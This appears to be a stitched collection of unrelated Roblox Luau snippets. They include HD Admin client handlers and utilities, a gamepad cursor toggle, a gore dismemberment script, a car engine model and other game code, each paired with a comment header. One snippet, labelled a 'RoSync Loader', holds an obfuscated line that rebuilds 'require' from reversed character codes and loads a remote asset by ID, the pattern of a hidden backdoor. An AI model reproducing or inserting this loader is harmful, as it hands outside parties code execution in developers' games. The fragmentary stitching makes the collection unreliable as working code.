l__HDAdminMain__1:GetModule("GUIs"):ShowSpecificPage(p1[1], p1[2]);
return;
end;
if v4.Name == "ShowBannedUser" then
l__HDAdminMain__1:GetModule("GUIs"):ShowSpecificPage("Admin", "Banland");
if type(p1) == "table" then
l__HDAdminMain__1:GetModule("cf"):ShowBannedUser(p1);
return;
end;
else
if v4.Name == "SetCameraSubject" then
l__HDAdminMain__1:GetModule("cf"):SetCameraSubject(p1);
return;
end;
if v4.Name == "Clear" then
l__HDAdminMain__1:GetModule("Messages"):ClearMessageContainer();
return;
end;
if v4.Name == "ShowWarning" then
l__HDAdminMain__1:GetModule("cf"):ShowWarning(p1);
return;
end;
if v4.Name == "Message" then
l__HDAdminMain__1:GetModule("Messages"):Message(p1);
return;
end;
if v4.Name == "Hint" then
l__HDAdminMain__1:GetModule("Messages"):Hint(p1);
return;
end;
if v4.Name == "GlobalAnnouncement" then
l__HDAdminMain__1:GetModule("Messages"):GlobalAnnouncement(p1);
return;
end;
if v4.Name == "SetCoreGuiEnabled" then
l__HDAdminMain__1.starterGui:SetCoreGuiEnabled(Enum.CoreGuiType[p1[1]], p1[2]);
return;
end;
if v4.Name == "CreateLog" then
l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu(p1[1], p1[2], 5);
return;
end;
if v4.Name == "CreateAlert" then
l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu("alert", { p1[1], p1[2] }, 8, true);
return;
end;
if v4.Name == "CreateBanMenu" then
l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu("banMenu", p1, 6);
return;
end;
if v4.Name == "CreatePollMenu" then
l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu("pollMenu", p1, 9);
return;
end;
if v4.Name == "CreateMenu" then
l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu(p1.MenuName, p1.Data, p1.TemplateId);
return;
end;
if v4.Name == "CreateCommandMenu" then
l__HDAdminMain__1:GetModule("cf"):CreateNewCommandMenu(p1[1], p1[2], p1[3]);
return;
end;
if v4.Name == "RankChanged" then
l__HDAdminMain__1:GetModule("cf"):UpdateIconVisiblity();
l__HDAdminMain__1:GetModule("PageAbout"):UpdateRankName();
l__HDAdminMain__1:GetModule("GUIs"):DisplayPagesAccordingToRank(true);
if l__HDAdminMain__1.initialized then
l__HDAdminMain__1:GetModule("PageCommands"):CreateCommands();
return;
end;
elseif v4.Name == "ExecuteClientCommand" then
local v10 = "Function";
if p1[4].UnFunction then
v10 = "UnFunction";
end;
local v11 = l__HDAdminMain__1:GetModule("ClientCommands")[p1[3]];
if v11 then
local v12 = v11[v10];
if v12 then
v12(p1[1], p1[2], v11);
return;
end;
end;
elseif v4.Name == "ReplicationEffectClientCommand" then
local v13 = l__HDAdminMain__1:GetModule("ClientCommands")[p1[1]];
if v13 then
local l__ReplicationEffect__14 = v13.ReplicationEffect;
if l__ReplicationEffect__14 then
l__ReplicationEffect__14(p1[2], p1[3], v13);
return;
end;
end;
elseif v4.Name == "ActivateClientCommand" then
local v15 = p1[1];
local v16 = p1[2];
local v17 = v16;
if v17 then
v17 = v16.Speed ~= 0 and v16.Speed or nil;
end;
if v17 then
l__HDAdminMain__1.commandSpeeds[v15] = v17;
local l__gui__18 = l__HDAdminMain__1.gui;
local v19 = l__HDAdminMain__1:GetModule("cf");
v19:DestroyCommandMenuFrame((l__gui__18:FindFirstChild("CommandMenufly")));
end;
if l__HDAdminMain__1.commandSpeeds[v15] then
for v20, v21 in pairs(l__HDAdminMain__1.commandSpeeds) do
if v20 ~= v15 then
local v22 = l__HDAdminMain__1:GetModule("cf");
v22:DeactivateCommand(v20);
end;
end;
end;
l__HDAdminMain__1.commandsAllowedToUse[v15] = true;
local v23 = l__HDAdminMain__1:GetModule("cf");
v23:ActivateClientCommand(v15, v16);
local v24 = nil;
local v25 = nil;
for v26, v27 in pairs(l__HDAdminMain__1.commandsWithMenus) do
v24 = v27[v15];
if v24 then
v25 = tonumber(v26:match("%d+"));
break;
end;
end;
if v24 then
local v28 = l__HDAdminMain__1:GetModule("cf");
v28:CreateNewCommandMenu(v15, v24, v25);
return;
end;
else
if v4.Name == "DeactivateClientCommand" then
local v29 = l__HDAdminMain__1.GetModule(l__HDAdminMain__1, "cf");
v29.DeactivateCommand(v29, p1[1]);
return;
end;
if v4.Name == "FadeInIcon" then
return;
end;
if v4.Name == "ChangeMainVariable" then
l__HDAdminMain__1[p1[1]] = p1;
end;
end;
end;
end;
end);
elseif v4:IsA("RemoteFunction") then
function v4.OnClientInvoke(p2)
if not l__HDAdminMain__1.initialized then
l__HDAdminMain__1.client.Signals.Initialized.Event:Wait();
end;
if v4.Name ~= "GetLocalDate" then
return;
end;
return os.date("*t", p2);
end;
end;
end;
return {};
|
--[[
Listens for input type changes and disables the mouse cursor during
gamepad input, and enables it during non-gamepad input.
This disables the dot on-screen while using a gamepad.
--]]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local UserInputService = game:GetService("UserInputService")
local InputCategorizer = require(ReplicatedStorage.Source.InputCategorizer)
local InputCategory = require(ReplicatedStorage.Source.SharedConstants.InputCategory)
local GamepadMouseDisabler = {}
local function updateCursorEnabled()
local shouldEnable = InputCategorizer.getLast() ~= InputCategory.Gamepad
UserInputService.MouseIconEnabled = shouldEnable
end
function GamepadMouseDisabler.start()
InputCategorizer.changed:Connect(updateCursorEnabled)
updateCursorEnabled()
end
return GamepadMouseDisabler
|
-- Create component
|
local Frame = Roact.PureComponent:extend 'Frame'
|
-- Load config
|
config = script.Config
ahd = config.Auto_Head_Decap.Value
gore = config.Gore.Value
bod = config.Blood_On_Death.Value
Character = script.Parent
Humanoid = Character.Humanoid
Torso = Character.Torso
function OnDeath()
Humanoid.Parent = nil
if Torso then
Torso.Parent = game.Workspace
local Head = Character:FindFirstChild("Head")
if Head then
Head.Parent = game.Workspace
local Neck = Instance.new("Weld")
Neck.Name = "Neck"
Neck.Part0 = Torso
Neck.Part1 = Head
Neck.C0 = CFrame.new(0, 1.5, 0)
Neck.C1 = CFrame.new()
Neck.Parent = Torso
script.HDecap:Clone().Parent = Head
if ahd then
Head:BreakJoints()
if bod then
blood = game.Lighting.Blood:Clone()
blood.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5)))
blood.Parent = game.Workspace
blood = game.Lighting.Blood:Clone()
blood.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5)))
blood.Parent = game.Workspace
blood = game.Lighting.Blood:Clone()
blood.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5)))
blood.Parent = game.Workspace
end
if gore then
brain = game.Lighting["Brain Gib"]:Clone()
brain.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5)))
brain.Parent = game.Workspace
flesh = game.Lighting["Flesh Gib"]:Clone()
flesh.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5)))
flesh.Parent = game.Workspace
flesh = game.Lighting["Flesh Gib"]:Clone()
flesh.CFrame = CFrame.new(Vector3.new(Head.Position.X+math.random(-5,5),Head.Position.Y+math.random(-5,5),Head.Position.Z+math.random(-5,5)))
flesh.Parent = game.Workspace
end
end
end
local Limb = Character:FindFirstChild("Right Arm")
if Limb then
Limb.Parent = game.Workspace
script.Decap:Clone().Parent = Limb
Limb.CFrame = Torso.CFrame * CFrame.new(1.5, 0, 0)
local Joint = Instance.new("Glue")
Joint.Name = "RightShoulder"
Joint.Part0 = Torso
Joint.Part1 = Limb
Joint.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Joint.C1 = CFrame.new(-0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Joint.Parent = Torso
local B = Instance.new("Part")
B.TopSurface = 0
B.BottomSurface = 0
B.formFactor = "Symmetric"
B.Size = Vector3.new(1, 1, 1)
B.Transparency = 1
B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
B.Parent = Character
local W = Instance.new("Weld")
W.Part0 = Limb
W.Part1 = B
W.C0 = CFrame.new(0, -0.5, 0)
W.Parent = Limb
end
local Limb = Character:FindFirstChild("Left Arm")
if Limb then
Limb.Parent = game.Workspace
script.Decap:Clone().Parent = Limb
Limb.CFrame = Torso.CFrame * CFrame.new(-1.5, 0, 0)
local Joint = Instance.new("Glue")
Joint.Name = "LeftShoulder"
Joint.Part0 = Torso
Joint.Part1 = Limb
Joint.C0 = CFrame.new(-1.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Joint.C1 = CFrame.new(0, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Joint.Parent = Torso
local B = Instance.new("Part")
B.TopSurface = 0
B.BottomSurface = 0
B.formFactor = "Symmetric"
B.Size = Vector3.new(1, 1, 1)
B.Transparency = 1
B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
B.Parent = Character
local W = Instance.new("Weld")
W.Part0 = Limb
W.Part1 = B
W.C0 = CFrame.new(0, -0.5, 0)
W.Parent = Limb
end
local Limb = Character:FindFirstChild("Right Leg")
if Limb then
Limb.Parent = game.Workspace
script.Decap:Clone().Parent = Limb
Limb.CFrame = Torso.CFrame * CFrame.new(0.5, -2, 0)
local Joint = Instance.new("Glue")
Joint.Name = "RightHip"
Joint.Part0 = Torso
Joint.Part1 = Limb
Joint.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Joint.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Joint.Parent = Torso
local B = Instance.new("Part")
B.TopSurface = 0
B.BottomSurface = 0
B.formFactor = "Symmetric"
B.Size = Vector3.new(1, 1, 1)
B.Transparency = 1
B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
B.Parent = Character
local W = Instance.new("Weld")
W.Part0 = Limb
W.Part1 = B
W.C0 = CFrame.new(0, -0.5, 0)
W.Parent = Limb
end
local Limb = Character:FindFirstChild("Left Leg")
if Limb then
Limb.Parent = game.Workspace
script.Decap:Clone().Parent = Limb
Limb.CFrame = Torso.CFrame * CFrame.new(-0.5, -2, 0)
local Joint = Instance.new("Glue")
Joint.Name = "LeftHip"
Joint.Part0 = Torso
Joint.Part1 = Limb
Joint.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Joint.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Joint.Parent = Torso
local B = Instance.new("Part")
B.TopSurface = 0
B.BottomSurface = 0
B.formFactor = "Symmetric"
B.Size = Vector3.new(1, 1, 1)
B.Transparency = 1
B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
B.Parent = Character
local W = Instance.new("Weld")
W.Part0 = Limb
W.Part1 = B
W.C0 = CFrame.new(0, -0.5, 0)
W.Parent = Limb
end
--[
local Bar = Instance.new("Part")
Bar.TopSurface = 0
Bar.BottomSurface = 0
Bar.formFactor = "Symmetric"
Bar.Size = Vector3.new(1, 1, 1)
Bar.Transparency = 1
Bar.CFrame = Torso.CFrame * CFrame.new(0, 0.5, 0)
Bar.Parent = game.Workspace
local Weld = Instance.new("Weld")
Weld.Part0 = Torso
Weld.Part1 = Bar
Weld.C0 = CFrame.new(0, 0.5, 0)
Weld.Parent = Torso
--]]
end
end
Humanoid.Died:connect(OnDeath)
|
-- Super-Simple Animated Texture Script by Lapheuz
|
while true do
wait(0.0001)
script.Parent.OffsetStudsU = script.Parent.OffsetStudsU + 0.005 -- Speed
end
|
--[[ Last synced 7/31/2021 05:08 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
--[[Engine]]
|
local fFD = _Tune.FinalDrive*_Tune.FDMult
local fFDr = fFD*30/math.pi
local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
local wDRatio = wDia*math.pi/60
local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
local cfYRot = CFrame.Angles(0,math.pi,0)
local rtTwo = (2^.5)/2
--Horsepower Curve
local fgc_h=_Tune.Horsepower/100
local fgc_n=_Tune.PeakRPM/1000
local fgc_a=_Tune.PeakSharpness
local fgc_c=_Tune.CurveMult
function FGC(x)
x=x/1000
return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1))))
end
local PeakFGC = FGC(_Tune.PeakRPM)
--Plot Current Horsepower
function GetCurve(x,gear)
local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0)
return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling
end
--Output Cache
local CacheTorque = false
local HPCache = {}
local HPInc = 100
if CacheTorque then
for gear,ratio in pairs(_Tune.Ratios) do
local hpPlot = {}
for rpm = math.floor(_Tune.IdleRPM/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do
local tqPlot = {}
tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2)
hp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2)
tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000)
tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000)
hpPlot[rpm] = tqPlot
end
table.insert(HPCache,hpPlot)
end
end
--Powertrain
--Update RPM
function RPM()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2
else
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
end
--Apply Power
function Engine()
--Get Torque
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
if CacheTorque then
local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/HPInc)]
_HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000)
_OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000)
else
_HP,_OutTorque = GetCurve(_RPM,_CGear)
end
local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear==-1 then iComp=-iComp end
_OutTorque = _OutTorque*math.max(1,(1+iComp))
else
_HP,_OutTorque = 0,0
end
--Automatic Transmission
if _TMode == "Auto" and _IsOn then
_ClutchOn = true
if _CGear == 0 then _CGear = 1 end
if _CGear >= 1 then
if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 20 then
_CGear = -1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
_CGear=math.max(_CGear-1,1)
end
end
end
else
if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 20 then
_CGear = 1
end
end
end
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--AWD Torque Scaling
if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not script.Parent.IsOn.Value then on=0 end
local throt = _GThrot
if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end
--Apply TCS
local tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSActive = true
end
--Update Forces
local dir = 1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
if tqABS < 1 then
_ABSActive = true
end
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
-- Fire with stock ray
|
function FastCast:Fire(origin, directionWithMagnitude, velocity, cosmeticBulletObject, ignoreDescendantsInstance, ignoreWater, bulletAcceleration, tool, clientModule, miscs, replicate, penetrationData)
assert(getmetatable(self) == FastCast, ERR_NOT_INSTANCE:format("Fire", "FastCast.new()"))
BaseFireMethod(self, origin, directionWithMagnitude, velocity, cosmeticBulletObject, ignoreDescendantsInstance, ignoreWater, bulletAcceleration, tool, clientModule, miscs, replicate, nil, nil, penetrationData)
end
|
-- go
|
OldPos = torsoPos
hum:MoveTo(targpos, targ) -- MoveToward Target
|
-- Gradually regenerates the Humanoid's Health over time.
|
local REGEN_RATE = 1/200 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 0.5 -- Wait this long between each regeneration step.
|
--[[ ALL FUNCTIONS TOGETHER ]]
|
print("Player: "..player.Name..", Age: "..player.AccountAge..", Days!")
|
--[=[
@return boolean
Returns `true` if the option is None.
]=]
|
function Option:IsNone()
return not self._s
end
|
-- << FUNCTIONS >>
|
function module:WaitForEvent(...)
local event
local firstArg = ({...})[1]
if typeof(firstArg) == "Instance" and firstArg:IsA("BindableEvent") then
event = firstArg
else
event = Instance.new("BindableEvent")
end
local signals = {}
for _,e in pairs({...}) do
if e ~= firstArg then
signals[#signals + 1] = e:Connect(function()
event:Fire()
end)
end
end
event.Event:Wait()
event:Destroy()
for _,s in pairs(signals) do s:Disconnect() end
end
function module:CreateSound(props)
local sound = Instance.new("Sound")
for propName, value in pairs(props) do
if propName == "SoundId" then
value = "rbxassetid://"..value
end
sound[propName] = value
end
return sound
end
function module:FormatNotice2(noticeName, extraDetails, ...)
local notice = main:GetModule("CoreNotices"):GetNotice(noticeName)
notice[2] = string.format(notice[2], ...)
notice[3] = extraDetails
return notice
end
function module:FormatNotice(noticeName, ...)
local notice = main:GetModule("CoreNotices"):GetNotice(noticeName)
notice[2] = string.format(notice[2], ...)
return notice
end
function module:RandomiseTable(originalTable, specificSeed)
local dayId = specificSeed and math.floor(os.time()/specificSeed)
local sortedTable ={}
if originalTable[1]~=nil then
for i=1,#originalTable do
if specificSeed then
math.randomseed(dayId+i)
end
table.insert(sortedTable,math.random(1,#sortedTable+1),originalTable[i])
end
end
return sortedTable
end
function module:IsPunished(plr)
if plr and plr.Character and plr.Character.Parent == workspace then
return false
else
return true
end
end
function module:UnSeatPlayer(plr)
local humanoid = module:GetHumanoid(plr)
if humanoid then
local seatPart = humanoid.SeatPart
if seatPart then
local seatWeld = seatPart:FindFirstChild("SeatWeld")
if seatWeld then
seatWeld:Destroy()
wait()
end
end
end
end
function module:GetBanDateString(date, serverDate)
local minute = date.min or serverDate.min
local hour = date.hour or serverDate.hour
local day = date.day or serverDate.day
local month = main:GetModule("cf"):GetMonths()[date.month or serverDate.month]
local year = date.year or serverDate.year
if minute < 10 then
minute = "0"..minute
end
if hour < 10 then
hour = "0"..hour
end
local dayId = tonumber(string.sub(day,-1))
local dayEnding = "th"
if dayId < 10 or dayId > 15 then
if dayId == 1 then
dayEnding = "st"
elseif dayId == 2 then
dayEnding = "nd"
elseif dayId == 3 then
dayEnding = "rd"
end
end
return(hour..":"..minute..", "..day..dayEnding.." "..month.." "..year)
end
function module:GetTimeAmount(timeType, d)
local amount = 0
local frameName = ""
if d < 0 then
d = 0
end
if timeType == "m" then
if d > 60 then
d = 60
end
amount = d*60
frameName = "Minutes"
elseif timeType == "h" then
if d > 24 then
d = 24
end
amount = d*3600
frameName = "Hours"
elseif timeType == "d" then
if d > 100000 then
d = 100000
end
amount = d*86400
frameName = "Days"
end
return amount, frameName, d
end
function module:GetMonths()
return{
"January";
"February";
"March";
"April";
"May";
"June";
"July";
"August";
"September";
"October";
"November";
"December";
}
end
function module:AnchorModel(model, state)
for a,b in pairs(model:GetDescendants()) do
if b:IsA("BasePart") and not b.Parent:IsA("Accessory") then
b.Anchored = state
end
end
end
function module:TweenModel(model, CF, info)
local CFrameValue = Instance.new("CFrameValue")
CFrameValue.Value = model:GetPrimaryPartCFrame()
local changedEvent
changedEvent = CFrameValue:GetPropertyChangedSignal("Value"):Connect(function()
if model.PrimaryPart == nil then
changedEvent:Disconnect()
else
model:SetPrimaryPartCFrame(CFrameValue.Value)
end
end)
local tween = main.tweenService:Create(CFrameValue, info, {Value = CF})
tween:Play()
tween.Completed:Connect(function()
CFrameValue:Destroy()
end)
end
function module:Movement(state, plr)
if plr == nil then
plr = main.player
end
local hrp = module:GetHRP(plr)
local humanoid = module:GetHumanoid(plr)
if hrp and humanoid then
if not state then
local originialSpeed = humanoid.WalkSpeed
humanoid.WalkSpeed = 0
wait()
humanoid.WalkSpeed = originialSpeed
hrp.Anchored = true
else
hrp.Anchored = false
end
end
end
function module:SetFakeBodyParts(char, info)
for a,b in pairs(char:GetChildren()) do
if main:GetModule("cf"):CheckBodyPart(b) then
local fakePart = main:GetModule("MorphHandler"):CreateFakeBodyPart(char, b)
for pName, pValue in pairs(info) do
if pName == "Material" then
fakePart.Material = pValue
if pValue == Enum.Material.Glass then
fakePart.Transparency = 0.5
else
fakePart.Transparency = 0
end
elseif pName == "Reflectance" then
fakePart.Reflectance = pValue
elseif pName == "Transparency" then
fakePart.Transparency = pValue
elseif pName == "Color" then
fakePart.Color = pValue
end
end
end
end
end
function module:CheckBodyPart(part)
if part:IsA("BasePart") and part.Name ~= "HumanoidRootPart" and string.sub(part.Name,1,4) ~= "Fake" then
return true
else
return false
end
end
function module:CreateClone(character)
if character == nil then
character = main.player.Character
end
local humanoid = character:FindFirstChild("Humanoid")
if humanoid then
--Setup clone
character.Archivable = true
local clone = character:Clone()
local cloneHumanoid = clone.Humanoid
clone.Name = character.Name.."'s HDAdminClone"
local specialChar = false
if clone:FindFirstChild("Chest") then
specialChar = true
end
for a,b in pairs(clone:GetDescendants()) do
if b:IsA("Humanoid") then
b.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
elseif b:IsA("BillboardGui") then
b:Destroy()
elseif b:IsA("Weld") and b.Part1 ~= nil then
b.Part0 = b.Parent
if clone:FindFirstChild(b.Part1.Name) then
b.Part1 = clone[b.Part1.Name]
elseif not specialChar then
b:Destroy()
end
end
end
--Make clone visible
--module:SetTransparency(clone, 0)
clone.Parent = workspace
--Animations
local tracks = {}
local desc = humanoid:GetAppliedDescription()
local animate = clone:FindFirstChild("Animate")
if animate then
for i,v in pairs(clone.Animate:GetChildren()) do
local anim = (v:GetChildren()[1])
if anim then
--anim.Parent = clone
tracks[v.Name] = cloneHumanoid:LoadAnimation(anim)
end
end
tracks.idle:Play()
end
return clone, tracks
end
end
function module:SetTransparency(model, value, force)
local plr = main.players:GetPlayerFromCharacter(model)
if ((plr and main.pd[plr] and main.pd[plr].Items.UnderControl and not force)) or not model then
return
end
local fakeParts = false
if model:FindFirstChild("FakeHead") then
fakeParts = true
end
for a,b in pairs(model:GetDescendants()) do
if (b:IsA("BasePart") and b.Name ~= "HumanoidRootPart") or (b.Name == "face" and b:IsA("Decal")) then
local ot = b:FindFirstChild("OriginalTransparency")
if value == 1 and b.Transparency ~= 0 and not ot then
ot = Instance.new("IntValue")
ot.Name = "OriginalTransparency"
ot.Value = b.Transparency
ot.Parent = b
elseif value == 0 and ot then
b.Transparency = ot.Value
ot:Destroy()
elseif not fakeParts or model:FindFirstChild(b.Name.."Fake") == nil then --string.sub(b.Name,1,4) == "Fake" then
b.Transparency = value
end
elseif (b:IsA("ParticleEmitter") and b.Name == "BodyEffect") or b:IsA("PointLight") then
if value == 1 then
b.Enabled = false
elseif value == 0 then
b.Enabled = true
end
elseif b:IsA("BillboardGui") then
if value == 1 then
b.Enabled = false
elseif value == 0 then
b.Enabled = true
end
end
end
end
function module:GetMessageTime(msg)
return(3+(string.len(msg)/30))
end
function module:GetProductInfo(assetId)
local infoToReturn = {}
local success, productInfo = pcall(function() return main.marketplaceService:GetProductInfo(assetId) end)
if success then
infoToReturn = productInfo
end
return infoToReturn
end
function module:CheckIfValidSound(soundId)
local productInfo = module:GetProductInfo(soundId)
if productInfo.AssetTypeId == 3 then
return true
else
return false
end
end
function module:GetChar(plr)
if plr == nil then
plr = main.player
end
if plr then
return plr.Character
end
end
function module:GetHRP(plr)
if plr == nil then
plr = main.player
end
